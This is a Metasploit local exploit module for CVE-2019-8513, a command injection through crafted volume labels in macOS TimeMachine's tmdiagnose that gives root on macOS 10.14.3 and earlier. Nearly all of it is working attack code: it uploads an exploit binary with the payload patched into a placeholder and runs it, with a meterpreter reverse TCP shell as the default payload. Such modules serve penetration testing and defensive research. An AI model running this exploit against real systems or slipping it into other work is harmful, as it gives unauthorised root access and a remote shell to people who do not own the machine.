Mac OS X TimeMachine – ‘tmdiagnose’ Command Injection Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation', 'Description' => %q{ This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers from a command injection vulnerability that can be exploited by creating a specially crafted disk label. The tmdiagnose binary uses awk to list every mounted volume, and composes shell commands based on the volume labels. By creating a volume label with the backtick character, we can have our own binary executed with root priviledges. }, 'License' => MSF_LICENSE, 'Author' => [ 'CodeColorist', # Discovery and exploit 'timwr', # Metasploit module ], 'References' => [ ['CVE', '2019-8513'], ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'], ['URL', 'https://support.apple.com/en-in/HT209600'], ['URL', 'https://github.com/ChiChou/sploits'], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Apr 13 2019')) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def upload_executable_file(filepath, filedata) print_status("Uploading file: '#{filepath}'") write_file(filepath, filedata) chmod(filepath) register_file_for_cleanup(filepath) end def check version = Gem::Version.new(get_system_version) if version >= Gem::Version.new('10.14.4') CheckCode::Safe else CheckCode::Appears end end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" )) if target['Arch'] == ARCH_X64 root_cmd = payload.encoded else root_cmd = payload.raw if target['Arch'] == ARCH_PYTHON root_cmd = "echo \"#{root_cmd}\" | python" end root_cmd = "CMD:#{root_cmd}" end if root_cmd.length > 1024 fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" end placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') exploit_data[placeholder_index, root_cmd.length] = root_cmd exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" upload_executable_file(exploit_file, exploit_data) print_status("Executing exploit '#{exploit_file}'") result = cmd_exec(exploit_file) print_status("Exploit result:\n#{result}") end end |